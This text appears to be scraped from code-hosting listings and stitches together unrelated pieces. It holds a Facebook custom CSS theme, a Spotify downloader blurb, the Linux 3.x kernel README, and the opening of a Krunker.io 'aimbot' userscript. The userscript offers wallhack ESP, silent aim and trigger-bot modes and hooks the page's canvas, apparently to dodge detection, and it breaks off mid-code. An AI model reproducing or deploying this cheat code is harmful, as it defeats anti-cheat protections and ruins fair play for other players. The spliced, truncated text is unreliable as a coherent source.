.selector:hover,.show_advanced_controls:hover,.UISelectList_check_Checked,.section_header,.section_header_bg,#buddy_list_panel_settings_flyout,.options_actions,.chat_setting,.flyout,.flyout .UISelectList,.flyout .new_list,#tagging_instructions,.FriendsPage_MenuContainer,.UIActionMenu,.UIObjectListing:hover,.UIStory_Hide .UIActionMenu_Wrap,.UIBeeper,.branch_notice,.async_saving,.UIActionMenu .UIActionMenu_Wrap:hover,.attachment_link a:hover,.UITitledBox_Top,.UIBeep,.Beeps,#friends li a:hover,.apinote h2,.UIActionButton_Text,.rsvp_option:hover,.onglettrhi,.ongletghi,.ongletdhi,.ongletg,.onglettr,.ongletd,.confirm_block, .unfollow_message,.UINestedFilterList_SubItem_Selected .UINestedFilterList_SubItem_Link,.UINestedFilterList_SubItem_Link:hover,.UINestedFilterList_Item_Link:hover,.UINestedFilterList_Selected .UINestedFilterList_Item_Link,.app_dir_app_summary:hover,.app_dir_featured_app_summary:hover,.app_dir_app_wide_summary:hover,.UIStory:hover,.UIPortrait_TALL:hover,.UIActionMenu_Menu div,.UIButton_Blue,.UIButton_Gray,.quiz_cell:hover,.UIFilterList > .UIFilterList_Title,.message_rows tr:hover,.ntab:hover,.thumb_selected,.thumb:hover,.hovered a,.pandemic_bar,.promote_page,.promote_page a,.create_button a,.nux_highlight,.UIActionMenu_Wrap,.share_button_browser div,.silver_create_button,.painted_button,.flyer_button,table[bindpoint=\"thread_row\"] tbody tr:hover,.GBThreadMessageRow:hover,#header,.button:not(.close):not(.uiSelectorButton):not(.videoicon):not(.toggle),h4,button:not(.as_link),#navigation a:hover,.settingsPaneIcon:hover,a.current,.inboxView tr:hover,.tabView li a:hover,.friendListView li:hover,.LTypeaheadResults,.LTypeaheadResults a:hover,.dialog-title, .UISuggestionList_SubContainer:hover,.typeahead_message,.progress_bar_inner,.video:hover,.advanced_controls_link,.plays_val,.lightblue_box,.FriendAddingTool_InnerMenu .UISelectList,.gray_box,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,#navAccount li:not(#navAccountInfo),.jewelHeader,.seeMore,#mailBoxItems li,#pageFooter,.uiSideNav .key-nf:hover,.key-messages .item:hover,.key-messages ul li:hover,.key-events ul li:hover,.key-media ul li:hover,.key-ff ul li:hover,.key-apps:hover,.key-games:hover,.uiSideNav .sideNavItem:not(.open) .item:hover,.fbChatOrderedList .item:hover a,.uiHeader,.uiListItem:not(.mall_divider):hover,.uiSideNav li.selected > a,.ego_unit:hover,.results,.bordered_list_item:hover,.fbConnectWidgetFooter,#viewas_header,.fbNubFlyoutTitlebar,.info_text,.stage,.masterControl .selected a,.masterControl .controls .item a:hover,.uiTypeaheadView .search,.gigaboxx_thread_hidden_messages,.uiMenu,.uiMenuInner,.itemAnchor,.gigaboxx_thread_branch_message,.uiSideNavCount,.uiBoxYellow,.loggedout_menubar_container,.pbm .uiComposer,.megaphone_box,.uiCenteredMorePager,.fbEditProfileViewExperience:hover,.uiStepSelected .middle,.GM_options_header,.bfb_tab_selected, #MessagingShelfContent,.connect_widget_like_button,.uiSideNav .open,.fbActivity:hover,.fbQuestionsPollResultsBar,.insightsDateRangeCustom,.fbInsightsTable thead th,.mall_divider,.attachmentContent .fbTabGridItem:hover,.jewelItemNew,#MessagingThreadlist .unread,.type_selected,.bfb_sticky_note,.UIUpcoming_Item:hover,.progress_bar_outer,.fbChatBuddyListDropdown .uiButton,.UIConnectControlsListSelector .uiButton,.instructions,.uiComposerMetaContainer,.uiMetaComposerMessageBoxShelf,#feed_nux,#tickerNuxStoryDiv,.fbFeedTickerStory:hover,.fbCurrentStory:hover,.uiStream .uiStreamHeaderTall,.fbChatSidebarMessage,.fbPhotoSnowboxInfo,.devsitePage .menu,.devsitePage .menu .content,#devsiteHomeBody .wikiPanel > div,.toolbarContentContainer,.fbTimelineUnitActor,#fbTimelineHeadline,.fbTimelineNavigation,.fbTimelineFeedbackActions,.timelineReportHeader,.fbTimelineCapsule .timelineUnitContainer:hover,.timelineReportContainer:hover,.fbTimelineComposerAttachments .uiListItem:hover span a,.timelinePublishedToolbar,.timelineRecentActivityLabel,.fbTimelineMoreButton,.overlayTitle,.friendsBoxHeader,.escapeHatchHeader,.tickerStoryAllowClick,.appInvite:hover,.fbRemindersStory:hover,.lifeEventAddPhoto a:hover,.insights-header,.ufb-dataTable-header-container,.ufb-button,.older-posts-content,.mleButton:hover,.btnLink,.fill,.cropMessage,.adminPanelList li:hover a,.tlPageRecentOverlayStream,.addListPageMegaphone,.searchListsBox,.ogStaticPagerHeader,.dialogTitle,#rogerSidenavCallout,.fbTimelineAggregatedMapUnitSeeAll,.shareRedesignContainer,.ogSingleStoryText,.ogSliderAnimPagerPrevWrapper,.ogSliderAnimPagerNextWrapper,.shareRedesignText,.pluginRecommendationsBarTop,.timelineRecentActivityStory:hover, .ogAggregationPanelUFI\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat !important;}\n\n.hovercard .stage,.profileChip,.GM_options_wrapper_inner,.MessagingReadHeader .uiHeader,#MessagingShelf,#navAccount ul,.uiTypeaheadView,#blueBar,.uiFacepileItem .uiTooltipWrap,.fbJewelFlyout,.jewelItemList li,.notification:not(.jewelItemNew),.fbNubButton,.fbChatTourCallout .body,.uiContextualDialogContent,.fbTimelineStickyHeader .back,.timelineExpandLabel:hover,.pageNotifFooter a,.fbSettingsListLink:hover,.uiOverlayPageContent,#bfb_option_list,.fbPhotoSnowlift .rhc,.ufb-tip-title,.balloon-content,.tlPageRecentOverlayTitle,.uiDialog,.uiDialogForm,.permissionsLockText, .uiMenuXBorder,.-cx-PRIVATE-uiDialog__content,.-cx-PRIVATE-uiDialog__title, ._k5\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat, rgba(10,10,10,.6) !important; }\n\n.unread .badge,.fbDockChatBuddyListNub .icon,.sx_7173a9,.selectedCheckable .checkmark {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball15.png\") no-repeat right center!important;}\n\ntable[class=\" \"] .badge:hover,table[class=\"\"] .badge:hover,.offline .fbDockChatBuddyListNub .icon,.fbChatSidebar.offline .fbChatSidebarMessage .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball15.png\") no-repeat right center!important;}\n\n.fbChatSidebar.offline .fbChatSidebarMessage .img {height: 16px !important;}\n\n.offline .fbDockChatBuddyListNub .icon,.fbDockChatBuddyListNub .icon,.sx_7173a9 {margin-top: 0 !important;height: 15px !important;}\n\na.idle,.buddyRow.idle .buddyBlock,.fbChatTab.idle .tab_availability,.fbChatTab.disabled .tab_availability,.chatIdle .chatStatus,.idle .fbChatUserTab .wrap,.chatIdle .uiTooltipText,.markunread,.bb .fbDockChatTab.user.idle .titlebarTextWrapper,.fbChatOrderedList .item:not(.active) .status {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball10paddedright.png\") no-repeat left center !important;}\n\n.fbChatOrderedList .item .status {width: 10px !important;}\n\n.headerTinymanName {max-width: 320px !important; white-space: nowrap !important; overflow: hidden !important;}\n\n.uiTooltipText {padding-left: 14px !important;border: none !important;}\n \n.fbNubButton,.bb .fbNubFlyoutTitlebar,.bb .fbNub .noTitlebar,.fbDockChatTab,#fbDockChatBuddylistNub .fbNubFlyout,.fbDockChatTabFlyout,.titlebar {border-radius: 8px 8px 0 0!important;}\n\n.uiSideNav .open {padding-right: 0 !important;}\n.uiSideNav .open,.uiSideNav .open > *,#home_stream > *,.bb .rNubContainer .fbNub,.fbChatTab {margin-left: 0 !important;}\n.uiSideNav .open ul > * {margin-left: -20px !important;}\n.uiSideNav .open .subitem > .rfloat {margin-right: 20px !important;}\n\n.timelineUnitContainer .timelineAudienceSelector .uiSelectorButton {padding: 1px !important; margin: 4px 0 0 4px !important;}\n.timelineUnitContainer .audienceSelector .uiButtonNoText .customimg {margin: 2px !important;}\n.timelineUnitContainer .composerAudienceSelector .customimg {opacity: 1 !important; background-position: 0 1px !important; padding: 0 !important;}\n\n.fbNub.user:not(.disabled) .wrap {padding-left: 15px !important;}\n.fbNubFlyoutTitlebar .titlebarText {padding-left: 12px !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.uiMenu .checked .itemAnchor {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball10paddedright.png\") no-repeat !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,a.idle,.buddyRow.idle .buddyBlock {background-position: right center !important;}\n\n.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.user .fbChatUserTab .wrap {background-position: left center !important;}\n\n.uiMenu .checked .itemAnchor {background-position: 5px center !important;}\n\n.markunread,.markread {background-position: 0 center !important;}\n\n.chatIdle .chatStatus,.chatOnline .chatStatus {width: 10px !important;height: 10px !important;background-position: 0 0 !important;}\n\n#fbRequestsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends-Gray.png\") no-repeat center center !important;}\n\n#fbRequestsJewel:hover .jewelButton,#fbRequestsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends.png\") no-repeat center center !important;}\n\n#fbMessagesJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon-gray.png\") no-repeat center center !important;}\n\n#fbMessagesJewel:hover .jewelButton,#fbMessagesJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth-gray.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel:hover .jewelButton,#fbNotificationsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth.png\") no-repeat center center !important;}\n\n.topBorder,.bottomBorder {background: #000 !important;}\n\n.pl-item,.ical,.pop_content {background-color: #333 !important;}\n.pl-alt {background-color: #222 !important;}\n\n.friend:hover,.friend:not(.idle):hover,.fbTimelineRibbon {background-color: rgba(10,10,10,.6) !important;}\n\n.maps_arrow,#sidebar_ads,.available .x_to_hide,.left_line,.line_mask,.chat_input_border,.connect_widget_button_count_nub,\n.uiStreamPrivacyContainer .uiTooltip .img,.UIObjectListing_PicRounded,.UIRoundedImage_CornersSprite,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TR,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BR,.UILinkButton_R,.pagesAboutDivider {visibility:hidden !important;}\n\n.nub,#contentCurve,#pagelet_netego_ads,img.plus,.highlighter,.uiToolbarDivider,.bfb_sticky_note_arrow_border,.bfb_sticky_note_arrow,#ConfirmBannerOuterContainer,.uiStreamHeaderBorder,.topBorder,.bottomBorder,.middleLink:after,.sideNavItem .uiCloseButton,.mask,.topSectionBottomBorder {display: none !important;}\n\n.fbChatBuddyListTypeahead {display: block !important;}\n\n.chat_input {width: 195px !important;}\n\n.fb_song_play_btn,.friend,.wrap,.uiTypeahead,.share,.raised,.donated,.recruited,.srch_landing,.story_editor,.jewelCount span, .menuPulldown {background-color: transparent !important;}\n\n.extended_link div {background-color: #fff !important}\n\n#fbTimelineHeadline,.coverImage {width: 851px !important; margin-left: 1px !important;}\n\n*:not([style*=border]) {border-color: #000 !important;}\n\n#feed_content_section_applications *,#feed_header_section_friend_lists *,.summary,.summary *,.UIMediaHeader_TitleWash,.UIMediaHeader_TitleWrapper,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.borderTagBox,.innerTagBox,.friend,.fbNubFlyoutTitlebar,.fbNubButton {border-color: transparent !important;}\n\n.innerTagBox:hover {border-color: rgba(10,10,10,.45) !important;box-shadow: 0 0 5px 4px #9cf !important;}\n\n.status_placeholder,.UIComposer_TDTextArea,.UIComposer_TextAreaShadow,.UIContentBox ,.box_column,form.comment div,.comment_box div,#tagger,.UIMediaItem_Wrapper,#chat_tab_bar *,.UIActionMenu_ButtonOuter input[type=\"button\"],.inner_button,.UIActionButton_Link,.divider,.UIComposer_Attachment_TDTextArea,#confirm_button,#global_maps_link,.advanced_selector,#presence_ui *,.fbFooterBorder,.wash,.main_body,.settings_screenshot,.uiBlingBox,.inputContainer *,.uiMentionsInput,.uiTypeahead,.editNoteWrapperInput,.date_divider,.chatStatus,#headNav,.jewelCount span,.fbFeedbackMentions .wrap,.uiSearchInput span,.uiSearchInput,.fbChatSidebarMessage,.devsitePage .body > .content,.timelineUnitContainer,.fbTimelineTopSection,.coverBorder,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,#navAccount.openToggler,#contentArea,.uiStreamStoryAttachmentOnly,.ogSliderAnimPagerPrev .content,.ogSliderAnimPagerNext .content,.ogSliderAnimPagerPrev .wrapper,.ogSliderAnimPagerNext .wrapper,.ogSingleStoryContent,.ogAggregationAnimSubstorySlideSingle,.uiCloseButton, .ogAggregationPanelUFI, .ogAggregationPanelText {border: none !important;}\n\n.uiStream .uiStreamHeaderTall {border-top: none !important; border-bottom: none !important;}\n\n.attachment_link a:hover,input[type=\"input\"],input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIFilterList_Selected,.make_new_list_button_table,.confirm_button,.fb_menu_title a:hover,.Tabset_selected {border-bottom-color: #000 !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: #000 !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: #000 !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: #000 !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UITabGrid_Link,.fb_menu_title a,.button_main,.button_text,.button_left {border-bottom-color: transparent !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: transparent !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: transparent !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: transparent !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide, .fbSettingsListItemDelete,.fg_action_hide,img[src=\"http://static.ak.fbcdn.net/images/streams/x_hide_story.gif?8:142665\"],.close,.uiSelector .uiCloseButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/closeX.png\") no-repeat !important;t
Vauth
Download your Spotify playlists and songs along with album art and metadata (from YouTube if a match is found).
N30nHaCkZ
Linux kernel release 3.x <http://kernel.org/> These are the release notes for Linux version 3. Read them carefully, as they tell you what this is all about, explain how to install the kernel, and what to do if something goes wrong. WHAT IS LINUX? Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. It has all the features you would expect in a modern fully-fledged Unix, including true multitasking, virtual memory, shared libraries, demand loading, shared copy-on-write executables, proper memory management, and multistack networking including IPv4 and IPv6. It is distributed under the GNU General Public License - see the accompanying COPYING file for more details. ON WHAT HARDWARE DOES IT RUN? Although originally developed first for 32-bit x86-based PCs (386 or higher), today Linux also runs on (at least) the Compaq Alpha AXP, Sun SPARC and UltraSPARC, Motorola 68000, PowerPC, PowerPC64, ARM, Hitachi SuperH, Cell, IBM S/390, MIPS, HP PA-RISC, Intel IA-64, DEC VAX, AMD x86-64, AXIS CRIS, Xtensa, Tilera TILE, AVR32 and Renesas M32R architectures. Linux is easily portable to most general-purpose 32- or 64-bit architectures as long as they have a paged memory management unit (PMMU) and a port of the GNU C compiler (gcc) (part of The GNU Compiler Collection, GCC). Linux has also been ported to a number of architectures without a PMMU, although functionality is then obviously somewhat limited. Linux has also been ported to itself. You can now run the kernel as a userspace application - this is called UserMode Linux (UML). DOCUMENTATION: - There is a lot of documentation available both in electronic form on the Internet and in books, both Linux-specific and pertaining to general UNIX questions. I'd recommend looking into the documentation subdirectories on any Linux FTP site for the LDP (Linux Documentation Project) books. This README is not meant to be documentation on the system: there are much better sources available. - There are various README files in the Documentation/ subdirectory: these typically contain kernel-specific installation notes for some drivers for example. See Documentation/00-INDEX for a list of what is contained in each file. Please read the Changes file, as it contains information about the problems, which may result by upgrading your kernel. - The Documentation/DocBook/ subdirectory contains several guides for kernel developers and users. These guides can be rendered in a number of formats: PostScript (.ps), PDF, HTML, & man-pages, among others. After installation, "make psdocs", "make pdfdocs", "make htmldocs", or "make mandocs" will render the documentation in the requested format. INSTALLING the kernel source: - If you install the full sources, put the kernel tarball in a directory where you have permissions (eg. your home directory) and unpack it: gzip -cd linux-3.X.tar.gz | tar xvf - or bzip2 -dc linux-3.X.tar.bz2 | tar xvf - Replace "X" with the version number of the latest kernel. Do NOT use the /usr/src/linux area! This area has a (usually incomplete) set of kernel headers that are used by the library header files. They should match the library, and not get messed up by whatever the kernel-du-jour happens to be. - You can also upgrade between 3.x releases by patching. Patches are distributed in the traditional gzip and the newer bzip2 format. To install by patching, get all the newer patch files, enter the top level directory of the kernel source (linux-3.X) and execute: gzip -cd ../patch-3.x.gz | patch -p1 or bzip2 -dc ../patch-3.x.bz2 | patch -p1 Replace "x" for all versions bigger than the version "X" of your current source tree, _in_order_, and you should be ok. You may want to remove the backup files (some-file-name~ or some-file-name.orig), and make sure that there are no failed patches (some-file-name# or some-file-name.rej). If there are, either you or I have made a mistake. Unlike patches for the 3.x kernels, patches for the 3.x.y kernels (also known as the -stable kernels) are not incremental but instead apply directly to the base 3.x kernel. For example, if your base kernel is 3.0 and you want to apply the 3.0.3 patch, you must not first apply the 3.0.1 and 3.0.2 patches. Similarly, if you are running kernel version 3.0.2 and want to jump to 3.0.3, you must first reverse the 3.0.2 patch (that is, patch -R) _before_ applying the 3.0.3 patch. You can read more on this in Documentation/applying-patches.txt Alternatively, the script patch-kernel can be used to automate this process. It determines the current kernel version and applies any patches found. linux/scripts/patch-kernel linux The first argument in the command above is the location of the kernel source. Patches are applied from the current directory, but an alternative directory can be specified as the second argument. - Make sure you have no stale .o files and dependencies lying around: cd linux make mrproper You should now have the sources correctly installed. SOFTWARE REQUIREMENTS Compiling and running the 3.x kernels requires up-to-date versions of various software packages. Consult Documentation/Changes for the minimum version numbers required and how to get updates for these packages. Beware that using excessively old versions of these packages can cause indirect errors that are very difficult to track down, so don't assume that you can just update packages when obvious problems arise during build or operation. BUILD directory for the kernel: When compiling the kernel, all output files will per default be stored together with the kernel source code. Using the option "make O=output/dir" allow you to specify an alternate place for the output files (including .config). Example: kernel source code: /usr/src/linux-3.X build directory: /home/name/build/kernel To configure and build the kernel, use: cd /usr/src/linux-3.X make O=/home/name/build/kernel menuconfig make O=/home/name/build/kernel sudo make O=/home/name/build/kernel modules_install install Please note: If the 'O=output/dir' option is used, then it must be used for all invocations of make. CONFIGURING the kernel: Do not skip this step even if you are only upgrading one minor version. New configuration options are added in each release, and odd problems will turn up if the configuration files are not set up as expected. If you want to carry your existing configuration to a new version with minimal work, use "make oldconfig", which will only ask you for the answers to new questions. - Alternative configuration commands are: "make config" Plain text interface. "make menuconfig" Text based color menus, radiolists & dialogs. "make nconfig" Enhanced text based color menus. "make xconfig" X windows (Qt) based configuration tool. "make gconfig" X windows (Gtk) based configuration tool. "make oldconfig" Default all questions based on the contents of your existing ./.config file and asking about new config symbols. "make silentoldconfig" Like above, but avoids cluttering the screen with questions already answered. Additionally updates the dependencies. "make olddefconfig" Like above, but sets new symbols to their default values without prompting. "make defconfig" Create a ./.config file by using the default symbol values from either arch/$ARCH/defconfig or arch/$ARCH/configs/${PLATFORM}_defconfig, depending on the architecture. "make ${PLATFORM}_defconfig" Create a ./.config file by using the default symbol values from arch/$ARCH/configs/${PLATFORM}_defconfig. Use "make help" to get a list of all available platforms of your architecture. "make allyesconfig" Create a ./.config file by setting symbol values to 'y' as much as possible. "make allmodconfig" Create a ./.config file by setting symbol values to 'm' as much as possible. "make allnoconfig" Create a ./.config file by setting symbol values to 'n' as much as possible. "make randconfig" Create a ./.config file by setting symbol values to random values. "make localmodconfig" Create a config based on current config and loaded modules (lsmod). Disables any module option that is not needed for the loaded modules. To create a localmodconfig for another machine, store the lsmod of that machine into a file and pass it in as a LSMOD parameter. target$ lsmod > /tmp/mylsmod target$ scp /tmp/mylsmod host:/tmp host$ make LSMOD=/tmp/mylsmod localmodconfig The above also works when cross compiling. "make localyesconfig" Similar to localmodconfig, except it will convert all module options to built in (=y) options. You can find more information on using the Linux kernel config tools in Documentation/kbuild/kconfig.txt. - NOTES on "make config": - Having unnecessary drivers will make the kernel bigger, and can under some circumstances lead to problems: probing for a nonexistent controller card may confuse your other controllers - Compiling the kernel with "Processor type" set higher than 386 will result in a kernel that does NOT work on a 386. The kernel will detect this on bootup, and give up. - A kernel with math-emulation compiled in will still use the coprocessor if one is present: the math emulation will just never get used in that case. The kernel will be slightly larger, but will work on different machines regardless of whether they have a math coprocessor or not. - The "kernel hacking" configuration details usually result in a bigger or slower kernel (or both), and can even make the kernel less stable by configuring some routines to actively try to break bad code to find kernel problems (kmalloc()). Thus you should probably answer 'n' to the questions for "development", "experimental", or "debugging" features. COMPILING the kernel: - Make sure you have at least gcc 3.2 available. For more information, refer to Documentation/Changes. Please note that you can still run a.out user programs with this kernel. - Do a "make" to create a compressed kernel image. It is also possible to do "make install" if you have lilo installed to suit the kernel makefiles, but you may want to check your particular lilo setup first. To do the actual install, you have to be root, but none of the normal build should require that. Don't take the name of root in vain. - If you configured any of the parts of the kernel as `modules', you will also have to do "make modules_install". - Verbose kernel compile/build output: Normally, the kernel build system runs in a fairly quiet mode (but not totally silent). However, sometimes you or other kernel developers need to see compile, link, or other commands exactly as they are executed. For this, use "verbose" build mode. This is done by inserting "V=1" in the "make" command. E.g.: make V=1 all To have the build system also tell the reason for the rebuild of each target, use "V=2". The default is "V=0". - Keep a backup kernel handy in case something goes wrong. This is especially true for the development releases, since each new release contains new code which has not been debugged. Make sure you keep a backup of the modules corresponding to that kernel, as well. If you are installing a new kernel with the same version number as your working kernel, make a backup of your modules directory before you do a "make modules_install". Alternatively, before compiling, use the kernel config option "LOCALVERSION" to append a unique suffix to the regular kernel version. LOCALVERSION can be set in the "General Setup" menu. - In order to boot your new kernel, you'll need to copy the kernel image (e.g. .../linux/arch/i386/boot/bzImage after compilation) to the place where your regular bootable kernel is found. - Booting a kernel directly from a floppy without the assistance of a bootloader such as LILO, is no longer supported. If you boot Linux from the hard drive, chances are you use LILO, which uses the kernel image as specified in the file /etc/lilo.conf. The kernel image file is usually /vmlinuz, /boot/vmlinuz, /bzImage or /boot/bzImage. To use the new kernel, save a copy of the old image and copy the new image over the old one. Then, you MUST RERUN LILO to update the loading map!! If you don't, you won't be able to boot the new kernel image. Reinstalling LILO is usually a matter of running /sbin/lilo. You may wish to edit /etc/lilo.conf to specify an entry for your old kernel image (say, /vmlinux.old) in case the new one does not work. See the LILO docs for more information. After reinstalling LILO, you should be all set. Shutdown the system, reboot, and enjoy! If you ever need to change the default root device, video mode, ramdisk size, etc. in the kernel image, use the 'rdev' program (or alternatively the LILO boot options when appropriate). No need to recompile the kernel to change these parameters. - Reboot with the new kernel and enjoy. IF SOMETHING GOES WRONG: - If you have problems that seem to be due to kernel bugs, please check the file MAINTAINERS to see if there is a particular person associated with the part of the kernel that you are having trouble with. If there isn't anyone listed there, then the second best thing is to mail them to me (torvalds@linux-foundation.org), and possibly to any other relevant mailing-list or to the newsgroup. - In all bug-reports, *please* tell what kernel you are talking about, how to duplicate the problem, and what your setup is (use your common sense). If the problem is new, tell me so, and if the problem is old, please try to tell me when you first noticed it. - If the bug results in a message like unable to handle kernel paging request at address C0000010 Oops: 0002 EIP: 0010:XXXXXXXX eax: xxxxxxxx ebx: xxxxxxxx ecx: xxxxxxxx edx: xxxxxxxx esi: xxxxxxxx edi: xxxxxxxx ebp: xxxxxxxx ds: xxxx es: xxxx fs: xxxx gs: xxxx Pid: xx, process nr: xx xx xx xx xx xx xx xx xx xx xx or similar kernel debugging information on your screen or in your system log, please duplicate it *exactly*. The dump may look incomprehensible to you, but it does contain information that may help debugging the problem. The text above the dump is also important: it tells something about why the kernel dumped code (in the above example, it's due to a bad kernel pointer). More information on making sense of the dump is in Documentation/oops-tracing.txt - If you compiled the kernel with CONFIG_KALLSYMS you can send the dump as is, otherwise you will have to use the "ksymoops" program to make sense of the dump (but compiling with CONFIG_KALLSYMS is usually preferred). This utility can be downloaded from ftp://ftp.<country>.kernel.org/pub/linux/utils/kernel/ksymoops/ . Alternatively, you can do the dump lookup by hand: - In debugging dumps like the above, it helps enormously if you can look up what the EIP value means. The hex value as such doesn't help me or anybody else very much: it will depend on your particular kernel setup. What you should do is take the hex value from the EIP line (ignore the "0010:"), and look it up in the kernel namelist to see which kernel function contains the offending address. To find out the kernel function name, you'll need to find the system binary associated with the kernel that exhibited the symptom. This is the file 'linux/vmlinux'. To extract the namelist and match it against the EIP from the kernel crash, do: nm vmlinux | sort | less This will give you a list of kernel addresses sorted in ascending order, from which it is simple to find the function that contains the offending address. Note that the address given by the kernel debugging messages will not necessarily match exactly with the function addresses (in fact, that is very unlikely), so you can't just 'grep' the list: the list will, however, give you the starting point of each kernel function, so by looking for the function that has a starting address lower than the one you are searching for but is followed by a function with a higher address you will find the one you want. In fact, it may be a good idea to include a bit of "context" in your problem report, giving a few lines around the interesting one. If you for some reason cannot do the above (you have a pre-compiled kernel image or similar), telling me as much about your setup as possible will help. Please read the REPORTING-BUGS document for details. - Alternatively, you can use gdb on a running kernel. (read-only; i.e. you cannot change values or set break points.) To do this, first compile the kernel with -g; edit arch/i386/Makefile appropriately, then do a "make clean". You'll also need to enable CONFIG_PROC_FS (via "make config"). After you've rebooted with the new kernel, do "gdb vmlinux /proc/kcore". You can now use all the usual gdb commands. The command to look up the point where your system crashed is "l *0xXXXXXXXX". (Replace the XXXes with the EIP value.) gdb'ing a non-running kernel currently fails because gdb (wrongly) disregards the starting offset for which the kernel is compiled.
Gabriel1231n2j3n
// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, 